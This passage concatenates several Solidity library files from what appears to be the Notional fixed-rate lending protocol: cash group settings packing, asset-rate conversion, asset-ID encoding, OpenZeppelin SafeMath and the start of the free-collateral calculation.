); // dev: liquidity haircut invalid asset type
uint256 offset =
LIQUIDITY_TOKEN_HAIRCUT + 8 * (assetType - Constants.MIN_LIQUIDITY_TOKEN_INDEX);
return uint8(uint256(cashGroup.data >> offset));
}
/// @notice Total trading fee denominated in RATE_PRECISION with basis point increments
function getTotalFee(CashGroupParameters memory cashGroup) internal pure returns (uint256) {
return uint256(uint8(uint256(cashGroup.data >> TOTAL_FEE))) * Constants.BASIS_POINT;
}
/// @notice Percentage of the total trading fee that goes to the reserve
function getReserveFeeShare(CashGroupParameters memory cashGroup)
internal
pure
returns (int256)
{
return uint8(uint256(cashGroup.data >> RESERVE_FEE_SHARE));
}
/// @notice fCash haircut for valuation denominated in rate precision with five basis point increments
function getfCashHaircut(CashGroupParameters memory cashGroup) internal pure returns (uint256) {
return
uint256(uint8(uint256(cashGroup.data >> FCASH_HAIRCUT))) * Constants.FIVE_BASIS_POINTS;
}
/// @notice fCash debt buffer for valuation denominated in rate precision with five basis point increments
function getDebtBuffer(CashGroupParameters memory cashGroup) internal pure returns (uint256) {
return uint256(uint8(uint256(cashGroup.data >> DEBT_BUFFER))) * Constants.FIVE_BASIS_POINTS;
}
/// @notice Time window factor for the rate oracle denominated in seconds with five minute increments.
function getRateOracleTimeWindow(CashGroupParameters memory cashGroup)
internal
pure
returns (uint256)
{
// This is denominated in 5 minute increments in storage
return uint256(uint8(uint256(cashGroup.data >> RATE_ORACLE_TIME_WINDOW))) * Constants.FIVE_MINUTES;
}
/// @notice Penalty rate for settling cash debts denominated in basis points
function getSettlementPenalty(CashGroupParameters memory cashGroup)
internal
pure
returns (uint256)
{
return
uint256(uint8(uint256(cashGroup.data >> SETTLEMENT_PENALTY))) * Constants.FIVE_BASIS_POINTS;
}
/// @notice Haircut for positive fCash during liquidation denominated rate precision
/// with five basis point increments
function getLiquidationfCashHaircut(CashGroupParameters memory cashGroup)
internal
pure
returns (uint256)
{
return
uint256(uint8(uint256(cashGroup.data >> LIQUIDATION_FCASH_HAIRCUT))) * Constants.FIVE_BASIS_POINTS;
}
/// @notice Haircut for negative fCash during liquidation denominated rate precision
/// with five basis point increments
function getLiquidationDebtBuffer(CashGroupParameters memory cashGroup)
internal
pure
returns (uint256)
{
return
uint256(uint8(uint256(cashGroup.data >> LIQUIDATION_DEBT_BUFFER))) * Constants.FIVE_BASIS_POINTS;
}
function loadMarket(
CashGroupParameters memory cashGroup,
MarketParameters memory market,
uint256 marketIndex,
bool needsLiquidity,
uint256 blockTime
) internal view {
require(1 <= marketIndex && marketIndex <= cashGroup.maxMarketIndex, "Invalid market");
uint256 maturity =
DateTime.getReferenceTime(blockTime).add(DateTime.getTradedMarket(marketIndex));
market.loadMarket(
cashGroup.currencyId,
maturity,
blockTime,
needsLiquidity,
getRateOracleTimeWindow(cashGroup)
);
}
/// @notice Returns the linear interpolation between two market rates. The formula is
/// slope = (longMarket.oracleRate - shortMarket.oracleRate) / (longMarket.maturity - shortMarket.maturity)
/// interpolatedRate = slope * (assetMaturity - shortMarket.maturity) + shortMarket.oracleRate
function interpolateOracleRate(
uint256 shortMaturity,
uint256 longMaturity,
uint256 shortRate,
uint256 longRate,
uint256 assetMaturity
) internal pure returns (uint256) {
require(shortMaturity < assetMaturity); // dev: cash group interpolation error, short maturity
require(assetMaturity < longMaturity); // dev: cash group interpolation error, long maturity
// It's possible that the rates are inverted where the short market rate > long market rate and
// we will get an underflow here so we check for that
if (longRate >= shortRate) {
return
(longRate - shortRate)
.mul(assetMaturity - shortMaturity)
// No underflow here, checked above
.div(longMaturity - shortMaturity)
.add(shortRate);
} else {
// In this case the slope is negative so:
// interpolatedRate = shortMarket.oracleRate - slope * (assetMaturity - shortMarket.maturity)
// NOTE: this subtraction should never overflow, the linear interpolation between two points above zero
// cannot go below zero
return
shortRate.sub(
// This is reversed to keep it it positive
(shortRate - longRate)
.mul(assetMaturity - shortMaturity)
// No underflow here, checked above
.div(longMaturity - shortMaturity)
);
}
}
/// @dev Gets an oracle rate given any valid maturity.
function calculateOracleRate(
CashGroupParameters memory cashGroup,
uint256 maturity,
uint256 blockTime
) internal view returns (uint256) {
(uint256 marketIndex, bool idiosyncratic) =
DateTime.getMarketIndex(cashGroup.maxMarketIndex, maturity, blockTime);
uint256 timeWindow = getRateOracleTimeWindow(cashGroup);
if (!idiosyncratic) {
return Market.getOracleRate(cashGroup.currencyId, maturity, timeWindow, blockTime);
} else {
uint256 referenceTime = DateTime.getReferenceTime(blockTime);
// DateTime.getMarketIndex returns the market that is past the maturity if idiosyncratic
uint256 longMaturity = referenceTime.add(DateTime.getTradedMarket(marketIndex));
uint256 longRate =
Market.getOracleRate(cashGroup.currencyId, longMaturity, timeWindow, blockTime);
uint256 shortMaturity;
uint256 shortRate;
if (marketIndex == 1) {
// In this case the short market is the annualized asset supply rate
shortMaturity = blockTime;
shortRate = cashGroup.assetRate.getSupplyRate();
} else {
// Minimum value for marketIndex here is 2
shortMaturity = referenceTime.add(DateTime.getTradedMarket(marketIndex - 1));
shortRate = Market.getOracleRate(
cashGroup.currencyId,
shortMaturity,
timeWindow,
blockTime
);
}
return interpolateOracleRate(shortMaturity, longMaturity, shortRate, longRate, maturity);
}
}
function _getCashGroupStorageBytes(uint256 currencyId) private view returns (bytes32 data) {
mapping(uint256 => bytes32) storage store = LibStorage.getCashGroupStorage();
return store[currencyId];
}
/// @dev Helper method for validating maturities in ERC1155Action
function getMaxMarketIndex(uint256 currencyId) internal view returns (uint8) {
bytes32 data = _getCashGroupStorageBytes(currencyId);
return uint8(data[MARKET_INDEX_BIT]);
}
/// @notice Checks all cash group settings for invalid values and sets them into storage
function setCashGroupStorage(uint256 currencyId, CashGroupSettings calldata cashGroup)
internal
{
// Due to the requirements of the yield curve we do not allow a cash group to have solely a 3 month market.
// The reason is that borrowers will not have a further maturity to roll from their 3 month fixed to a 6 month
// fixed. It also complicates the logic in the nToken initialization method. Additionally, we cannot have cash
// groups with 0 market index, it has no effect.
require(2 <= cashGroup.maxMarketIndex && cashGroup.maxMarketIndex <= Constants.MAX_TRADED_MARKET_INDEX,
"CG: invalid market index"
);
require(
cashGroup.reserveFeeShare <= Constants.PERCENTAGE_DECIMALS,
"CG: invalid reserve share"
);
require(cashGroup.liquidityTokenHaircuts.length == cashGroup.maxMarketIndex);
require(cashGroup.rateScalars.length == cashGroup.maxMarketIndex);
// This is required so that fCash liquidation can proceed correctly
require(cashGroup.liquidationfCashHaircut5BPS < cashGroup.fCashHaircut5BPS);
require(cashGroup.liquidationDebtBuffer5BPS < cashGroup.debtBuffer5BPS);
// Market indexes cannot decrease or they will leave fCash assets stranded in the future with no valuation curve
uint8 previousMaxMarketIndex = getMaxMarketIndex(currencyId);
require(
previousMaxMarketIndex <= cashGroup.maxMarketIndex,
"CG: market index cannot decrease"
);
// Per cash group settings
bytes32 data =
(bytes32(uint256(cashGroup.maxMarketIndex)) |
(bytes32(uint256(cashGroup.rateOracleTimeWindow5Min)) << RATE_ORACLE_TIME_WINDOW) |
(bytes32(uint256(cashGroup.totalFeeBPS)) << TOTAL_FEE) |
(bytes32(uint256(cashGroup.reserveFeeShare)) << RESERVE_FEE_SHARE) |
(bytes32(uint256(cashGroup.debtBuffer5BPS)) << DEBT_BUFFER) |
(bytes32(uint256(cashGroup.fCashHaircut5BPS)) << FCASH_HAIRCUT) |
(bytes32(uint256(cashGroup.settlementPenaltyRate5BPS)) << SETTLEMENT_PENALTY) |
(bytes32(uint256(cashGroup.liquidationfCashHaircut5BPS)) <<
LIQUIDATION_FCASH_HAIRCUT) |
(bytes32(uint256(cashGroup.liquidationDebtBuffer5BPS)) << LIQUIDATION_DEBT_BUFFER));
// Per market group settings
for (uint256 i = 0; i < cashGroup.liquidityTokenHaircuts.length; i++) {
require(
cashGroup.liquidityTokenHaircuts[i] <= Constants.PERCENTAGE_DECIMALS,
"CG: invalid token haircut"
);
data =
data |
(bytes32(uint256(cashGroup.liquidityTokenHaircuts[i])) <<
(LIQUIDITY_TOKEN_HAIRCUT + i * 8));
}
for (uint256 i = 0; i < cashGroup.rateScalars.length; i++) {
// Causes a divide by zero error
require(cashGroup.rateScalars[i] != 0, "CG: invalid rate scalar");
data = data | (bytes32(uint256(cashGroup.rateScalars[i])) << (RATE_SCALAR + i * 8));
}
mapping(uint256 => bytes32) storage store = LibStorage.getCashGroupStorage();
store[currencyId] = data;
}
/// @notice Deserialize the cash group storage bytes into a user friendly object
function deserializeCashGroupStorage(uint256 currencyId)
internal
view
returns (CashGroupSettings memory)
{
bytes32 data = _getCashGroupStorageBytes(currencyId);
uint8 maxMarketIndex = uint8(data[MARKET_INDEX_BIT]);
uint8[] memory tokenHaircuts = new uint8[](uint256(maxMarketIndex));
uint8[] memory rateScalars = new uint8[](uint256(maxMarketIndex));
for (uint8 i = 0; i < maxMarketIndex; i++) {
tokenHaircuts[i] = uint8(data[LIQUIDITY_TOKEN_HAIRCUT_FIRST_BIT - i]);
rateScalars[i] = uint8(data[RATE_SCALAR_FIRST_BIT - i]);
}
return
CashGroupSettings({
maxMarketIndex: maxMarketIndex,
rateOracleTimeWindow5Min: uint8(data[RATE_ORACLE_TIME_WINDOW_BIT]),
totalFeeBPS: uint8(data[TOTAL_FEE_BIT]),
reserveFeeShare: uint8(data[RESERVE_FEE_SHARE_BIT]),
debtBuffer5BPS: uint8(data[DEBT_BUFFER_BIT]),
fCashHaircut5BPS: uint8(data[FCASH_HAIRCUT_BIT]),
settlementPenaltyRate5BPS: uint8(data[SETTLEMENT_PENALTY_BIT]),
liquidationfCashHaircut5BPS: uint8(data[LIQUIDATION_FCASH_HAIRCUT_BIT]),
liquidationDebtBuffer5BPS: uint8(data[LIQUIDATION_DEBT_BUFFER_BIT]),
liquidityTokenHaircuts: tokenHaircuts,
rateScalars: rateScalars
});
}
function _buildCashGroup(uint16 currencyId, AssetRateParameters memory assetRate)
private
view
returns (CashGroupParameters memory)
{
bytes32 data = _getCashGroupStorageBytes(currencyId);
uint256 maxMarketIndex = uint8(data[MARKET_INDEX_BIT]);
return
CashGroupParameters({
currencyId: currencyId,
maxMarketIndex: maxMarketIndex,
assetRate: assetRate,
data: data
});
}
/// @notice Builds a cash group using a view version of the asset rate
function buildCashGroupView(uint16 currencyId)
internal
view
returns (CashGroupParameters memory)
{
AssetRateParameters memory assetRate = AssetRate.buildAssetRateView(currencyId);
return _buildCashGroup(currencyId, assetRate);
}
/// @notice Builds a cash group using a stateful version of the asset rate
function buildCashGroupStateful(uint16 currencyId)
internal
returns (CashGroupParameters memory)
{
AssetRateParameters memory assetRate = AssetRate.buildAssetRateStateful(currencyId);
return _buildCashGroup(currencyId, assetRate);
}
}
// SPDX-License-Identifier: GPL-3.0-only
pragma solidity ^0.7.0;
pragma abicoder v2;
import "../../global/Types.sol";
import "../../global/LibStorage.sol";
import "../../global/Constants.sol";
import "../../math/SafeInt256.sol";
import "../../../interfaces/notional/AssetRateAdapter.sol";
library AssetRate {
using SafeInt256 for int256;
event SetSettlementRate(uint256 indexed currencyId, uint256 indexed maturity, uint128 rate);
// Asset rates are in 1e18 decimals (cToken exchange rates), internal balances
// are in 1e8 decimals. Therefore we leave this as 1e18 / 1e8 = 1e10
int256 private constant ASSET_RATE_DECIMAL_DIFFERENCE = 1e10;
/// @notice Converts an internal asset cash value to its underlying token value.
/// @param ar exchange rate object between asset and underlying
/// @param assetBalance amount to convert to underlying
function convertToUnderlying(AssetRateParameters memory ar, int256 assetBalance)
internal
pure
returns (int256)
{
// Calculation here represents:
// rate * balance * internalPrecision / rateDecimals * underlyingPrecision
int256 underlyingBalance = ar.rate
.mul(assetBalance)
.div(ASSET_RATE_DECIMAL_DIFFERENCE)
.div(ar.underlyingDecimals);
return underlyingBalance;
}
/// @notice Converts an internal underlying cash value to its asset cash value
/// @param ar exchange rate object between asset and underlying
/// @param underlyingBalance amount to convert to asset cash, denominated in internal token precision
function convertFromUnderlying(AssetRateParameters memory ar, int256 underlyingBalance)
internal
pure
returns (int256)
{
// Calculation here represents:
// rateDecimals * balance * underlyingPrecision / rate * internalPrecision
int256 assetBalance = underlyingBalance
.mul(ASSET_RATE_DECIMAL_DIFFERENCE)
.mul(ar.underlyingDecimals)
.div(ar.rate);
return assetBalance;
}
/// @notice Returns the current per block supply rate, is used when calculating oracle rates
/// for idiosyncratic fCash with a shorter duration than the 3 month maturity.
function getSupplyRate(AssetRateParameters memory ar) internal view returns (uint256) {
// If the rate oracle is not set, the asset is not interest bearing and has an oracle rate of zero.
if (address(ar.rateOracle) == address(0)) return 0;
uint256 rate = ar.rateOracle.getAnnualizedSupplyRate();
// Zero supply rate is valid since this is an interest rate, we do not divide by
// the supply rate so we do not get div by zero errors.
require(rate >= 0); // dev: invalid supply rate
return rate;
}
function _getAssetRateStorage(uint256 currencyId)
private
view
returns (AssetRateAdapter rateOracle, uint8 underlyingDecimalPlaces)
{
mapping(uint256 => AssetRateStorage) storage store = LibStorage.getAssetRateStorage();
AssetRateStorage storage ar = store[currencyId];
rateOracle = AssetRateAdapter(ar.rateOracle);
underlyingDecimalPlaces = ar.underlyingDecimalPlaces;
}
/// @notice Gets an asset rate using a view function, does not accrue interest so the
/// exchange rate will not be up to date. Should only be used for non-stateful methods
function _getAssetRateView(uint256 currencyId)
private
view
returns (
int256,
AssetRateAdapter,
uint8
)
{
(AssetRateAdapter rateOracle, uint8 underlyingDecimalPlaces) = _getAssetRateStorage(currencyId);
int256 rate;
if (address(rateOracle) == address(0)) {
// If no rate oracle is set, then set this to the identity
rate = ASSET_RATE_DECIMAL_DIFFERENCE;
// This will get raised to 10^x and return 1, will not end up with div by zero
underlyingDecimalPlaces = 0;
} else {
rate = rateOracle.getExchangeRateView();
require(rate > 0); // dev: invalid exchange rate
}
return (rate, rateOracle, underlyingDecimalPlaces);
}
/// @notice Gets an asset rate using a stateful function, accrues interest so the
/// exchange rate will be up to date for the current block.
function _getAssetRateStateful(uint256 currencyId)
private
returns (
int256,
AssetRateAdapter,
uint8
)
{
(AssetRateAdapter rateOracle, uint8 underlyingDecimalPlaces) = _getAssetRateStorage(currencyId);
int256 rate;
if (address(rateOracle) == address(0)) {
// If no rate oracle is set, then set this to the identity
rate = ASSET_RATE_DECIMAL_DIFFERENCE;
// This will get raised to 10^x and return 1, will not end up with div by zero
underlyingDecimalPlaces = 0;
} else {
rate = rateOracle.getExchangeRateStateful();
require(rate > 0); // dev: invalid exchange rate
}
return (rate, rateOracle, underlyingDecimalPlaces);
}
/// @notice Returns an asset rate object using the view method
function buildAssetRateView(uint256 currencyId)
internal
view
returns (AssetRateParameters memory)
{
(int256 rate, AssetRateAdapter rateOracle, uint8 underlyingDecimalPlaces) =
_getAssetRateView(currencyId);
return
AssetRateParameters({
rateOracle: rateOracle,
rate: rate,
// No overflow, restricted on storage
underlyingDecimals: int256(10**underlyingDecimalPlaces)
});
}
/// @notice Returns an asset rate object using the stateful method
function buildAssetRateStateful(uint256 currencyId)
internal
returns (AssetRateParameters memory)
{
(int256 rate, AssetRateAdapter rateOracle, uint8 underlyingDecimalPlaces) =
_getAssetRateStateful(currencyId);
return
AssetRateParameters({
rateOracle: rateOracle,
rate: rate,
// No overflow, restricted on storage
underlyingDecimals: int256(10**underlyingDecimalPlaces)
});
}
/// @dev Gets a settlement rate object
function _getSettlementRateStorage(uint256 currencyId, uint256 maturity)
private
view
returns (
int256 settlementRate,
uint8 underlyingDecimalPlaces
)
{
mapping(uint256 => mapping(uint256 => SettlementRateStorage)) storage store = LibStorage.getSettlementRateStorage();
SettlementRateStorage storage rateStorage = store[currencyId][maturity];
settlementRate = rateStorage.settlementRate;
underlyingDecimalPlaces = rateStorage.underlyingDecimalPlaces;
}
/// @notice Returns a settlement rate object using the view method
function buildSettlementRateView(uint256 currencyId, uint256 maturity)
internal
view
returns (AssetRateParameters memory)
{
// prettier-ignore
(
int256 settlementRate,
uint8 underlyingDecimalPlaces
) = _getSettlementRateStorage(currencyId, maturity);
// Asset exchange rates cannot be zero
if (settlementRate == 0) {
// If settlement rate has not been set then we need to fetch it
// prettier-ignore
(
settlementRate,
/* address */,
underlyingDecimalPlaces
) = _getAssetRateView(currencyId);
}
return AssetRateParameters(
AssetRateAdapter(address(0)),
settlementRate,
// No overflow, restricted on storage
int256(10**underlyingDecimalPlaces)
);
}
/// @notice Returns a settlement rate object and sets the rate if it has not been set yet
function buildSettlementRateStateful(
uint256 currencyId,
uint256 maturity,
uint256 blockTime
) internal returns (AssetRateParameters memory) {
(int256 settlementRate, uint8 underlyingDecimalPlaces) =
_getSettlementRateStorage(currencyId, maturity);
if (settlementRate == 0) {
// Settlement rate has not yet been set, set it in this branch
AssetRateAdapter rateOracle;
// If rate oracle == 0 then this will return the identity settlement rate
// prettier-ignore
(
settlementRate,
rateOracle,
underlyingDecimalPlaces
) = _getAssetRateStateful(currencyId);
if (address(rateOracle) != address(0)) {
mapping(uint256 => mapping(uint256 => SettlementRateStorage)) storage store = LibStorage.getSettlementRateStorage();
// Only need to set settlement rates when the rate oracle is set (meaning the asset token has
// a conversion rate to an underlying). If not set then the asset cash always settles to underlying at a 1-1
// rate since they are the same.
require(0 < blockTime && maturity <= blockTime && blockTime <= type(uint40).max); // dev: settlement rate timestamp overflow
require(0 < settlementRate && settlementRate <= type(uint128).max); // dev: settlement rate overflow
SettlementRateStorage storage rateStorage = store[currencyId][maturity];
rateStorage.blockTime = uint40(blockTime);
rateStorage.settlementRate = uint128(settlementRate);
rateStorage.underlyingDecimalPlaces = underlyingDecimalPlaces;
emit SetSettlementRate(currencyId, maturity, uint128(settlementRate));
}
}
return AssetRateParameters(
AssetRateAdapter(address(0)),
settlementRate,
// No overflow, restricted on storage
int256(10**underlyingDecimalPlaces)
);
}
}
// SPDX-License-Identifier: GPL-3.0-only
pragma solidity ^0.7.0;
pragma abicoder v2;
import "./PortfolioHandler.sol";
import "./BitmapAssetsHandler.sol";
import "../AccountContextHandler.sol";
import "../../global/Types.sol";
import "../../math/SafeInt256.sol";
/// @notice Helper library for transferring assets from one portfolio to another
library TransferAssets {
using AccountContextHandler for AccountContext;
using PortfolioHandler for PortfolioState;
using SafeInt256 for int256;
/// @notice Decodes asset ids
function decodeAssetId(uint256 id)
internal
pure
returns (
uint256 currencyId,
uint256 maturity,
uint256 assetType
)
{
assetType = uint8(id);
maturity = uint40(id >> 8);
currencyId = uint16(id >> 48);
}
/// @notice Encodes asset ids
function encodeAssetId(
uint256 currencyId,
uint256 maturity,
uint256 assetType
) internal pure returns (uint256) {
require(currencyId <= Constants.MAX_CURRENCIES);
require(maturity <= type(uint40).max);
require(assetType <= Constants.MAX_LIQUIDITY_TOKEN_INDEX);
return
uint256(
(bytes32(uint256(uint16(currencyId))) << 48) |
(bytes32(uint256(uint40(maturity))) << 8) |
bytes32(uint256(uint8(assetType)))
);
}
/// @dev Used to flip the sign of assets to decrement the `from` account that is sending assets
function invertNotionalAmountsInPlace(PortfolioAsset[] memory assets) internal pure {
for (uint256 i; i < assets.length; i++) {
assets[i].notional = assets[i].notional.neg();
}
}
/// @dev Useful method for hiding the logic of updating an account. WARNING: the account
/// context returned from this method may not be the same memory location as the account
/// context provided if the account is settled.
function placeAssetsInAccount(
address account,
AccountContext memory accountContext,
PortfolioAsset[] memory assets
) internal returns (AccountContext memory) {
// If an account has assets that require settlement then placing assets inside it
// may cause issues.
require(!accountContext.mustSettleAssets(), "Account must settle");
if (accountContext.isBitmapEnabled()) {
// Adds fCash assets into the account and finalized storage
BitmapAssetsHandler.addMultipleifCashAssets(account, accountContext, assets);
} else {
PortfolioState memory portfolioState = PortfolioHandler.buildPortfolioState(
account,
accountContext.assetArrayLength,
assets.length
);
// This will add assets in memory
portfolioState.addMultipleAssets(assets);
// This will store assets and update the account context in memory
accountContext.storeAssetsAndUpdateContext(account, portfolioState, false);
}
return accountContext;
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
/**
* @dev Returns the substraction of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b > a) return (false, 0);
return (true, a - b);
}
/**
* @dev Returns the multiplication of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
/**
* @dev Returns the division of two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a / b);
}
/**
* @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a % b);
}
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
return a - b;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) return 0;
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: modulo by zero");
return a % b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {trySub}.
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
return a - b;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting with custom message on
* division by zero. The result is rounded towards zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryDiv}.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting with custom message when dividing by zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryMod}.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a % b;
}
}
// SPDX-License-Identifier: GPL-3.0-only
pragma solidity ^0.7.0;
pragma abicoder v2;
import "./AssetHandler.sol";
import "./ExchangeRate.sol";
import "../markets/CashGroup.sol";
import "../AccountContextHandler.sol";
import "../balances/BalanceHandler.sol";
import "../portfolio/PortfolioHandler.sol";
import "../nToken/nTokenHandler.sol";
import "../nToken/nTokenCalculations.sol";
import "../../math/SafeInt256.sol";
library FreeCollateral {
using SafeInt256 for int256;
using Bitmap for bytes;
using ExchangeRate for ETHRate;
using AssetRate for AssetRateParameters;
using AccountContextHandler for AccountContext;
using nTokenHandler for nTokenPortfolio;
/// @dev This is only used within the library to clean up the stack
struct FreeCollateralFactors {
int256 netETHValue;
bool updateContext;
uint256 portfolioIndex;
CashGroupParameters cashGroup;
MarketParameters market;
PortfolioAsset[] portfolio;
AssetRateParameters assetRate;
nTokenPortfolio nToken;
}
/// @notice Checks if an asset is active in the portfolio
function _isActiveInPortfolio(bytes2 currencyBytes) private pure returns (bool) {
return currencyBytes & Constants.ACTIVE_IN_PORTFOLIO == Constants.ACTIVE_IN_PORTFOLIO;
}
/// @notice Checks if currency balances are active in the account returns them if true
/// @return cash balance, nTokenBalance
function _getCurrencyBalances(address account, bytes2 currencyBytes)
private
view
returns (int256, int256)
{
if (currencyBytes & Constants.ACTIVE_IN_BALANCES == Constants.ACTIVE_IN_BALANCES) {
uint256 currencyId = uint16(currencyBytes & Constants.UNMASK_FLAGS);
// prettier-ignore
(
int256 cashBalance,
int256 nTokenBalance,
/* lastClaimTime */,
/* accountIncentiveDebt */
) = BalanceHandler.getBalanceStorage(account, currencyId);
return (cashBalance, nTokenBalance);
}
return (0, 0);
}
/// @notice Calculates the nToken asset value with a haircut set by governance
/// @return the value of the account's nTokens after haircut, the nToken parameters
function _getNTokenHaircutAssetPV(
CashGroupParameters memory cashGroup,
nTokenPortfolio memory nToken,
int256 tokenBalance,
uint256 blockTime
) internal view returns (int256, bytes6) {
nToken.loadNTokenPortfolioNoCashGroup(cashGroup.currencyId);
nToken.cashGroup = cashGroup;
int256 nTokenAssetPV = nTokenCalculations.getNTokenAssetPV(nToken, blockTime);
// (tokenBalance * nTokenValue * haircut) / totalSupply
int256 nTokenHaircutAssetPV =
tokenBalance
.mul(nTokenAssetPV)
.mul(uint8(nToken.parameters[Constants.PV_HAIRCUT_PERCENTAGE]))
.div(Constants.PERCENTAGE_DECIMALS)
.div(nToken.totalSupply);
// nToken.parameters is returned for use in liquidation
return (nTokenHaircutAssetPV, nToken.parameters);
}
/// @notice Calculates portfolio and/or nToken values while using the supplied cash groups and
/// markets. The reason these are grouped together is because they both require storage reads of the same
/// values.
function _getPortfolioAndNTokenAssetValue(
FreeCollateralFactors memory factors,
int256 nTokenBalance,
uint256 blockTime
)
private
view
returns (
int256 netPortfolioValue,
int256 nTokenHaircutAssetValue,
bytes6 nTokenParameters
)
{
// If the next asset matches the currency id then we need to calculate the cash group value
if (
factors.portfolioIndex < factors.portfolio.length &&
factors.portfolio[factors.portfolioIndex].currencyId == factors.cashGroup.currencyId
) {
// netPortfolioValue is in asset cash
(netPortfolioValue, factors.portfolioIndex) = AssetHandler.getNetCashGroupValue(
factors.portfolio,
factors.cashGroup,
factors.market,
blockTime,
factors.portfolioIndex
);
} else {
netPortfolioValue = 0;
}
if (nTokenBalance > 0) {
(nTokenHaircutAssetValue, nTokenParameters) = _getNTokenHaircutAssetPV(
factors.cashGroup,
factors.nToken,
nTokenBalance,
blockTime
);
} else {
nTokenHaircutAssetValue = 0;
nTokenParameters = 0;
}
}
/// @notice Returns balance values for the bitmapped currency
function _getBitmapBalanceValue(
address account,
uint256 blockTime,
AccountContext memory accountContext,
FreeCollateralFactors memory factors
)
private
view
returns (
int256 cashBalance,
int256 nTokenHaircutAssetValue,
bytes6 nTokenParameters
)
{
int256 nTokenBalance;
// prettier-ignore
(
cashBalance,
nTokenBalance,
/* lastClaimTime */,
/* accountIncentiveDebt */
) = BalanceHandler.getBalanceStorage(account, accountContext.bitmapCurrencyId);
if (nTokenBalance > 0) {
(nTokenHaircutAssetValue, nTokenParameters) = _getNTokenHaircutAssetPV(
factors.cashGroup,
factors.nToken,
nTokenBalance,
blockTime
);
} else {
nTokenHaircutAssetValue = 0;
}
}
/// @notice Returns portfolio value for the bitmapped currency
function _getBitmapPortfolioValue(
address account,
uint256 blockTime,
AccountContext memory accountContext,
FreeCollateralFactors memory factors
) private view returns (int256) {
(int256 netPortfolioValueUnderlying, bool bitmapHasDebt) =
BitmapAssetsHandler.getifCashNetPresentValue(
account,
accountContext.bitmapCurrencyId,
accountContext.nextSettleTime,
blockTime,
factors.cashGroup,
true // risk adjusted
);
// Turns off has debt flag if it has changed
bool contextHasAssetDebt =
accountContext.hasDebt & Constants.HAS_ASSET_DEBT == Constants.HAS_ASSET_DEBT;
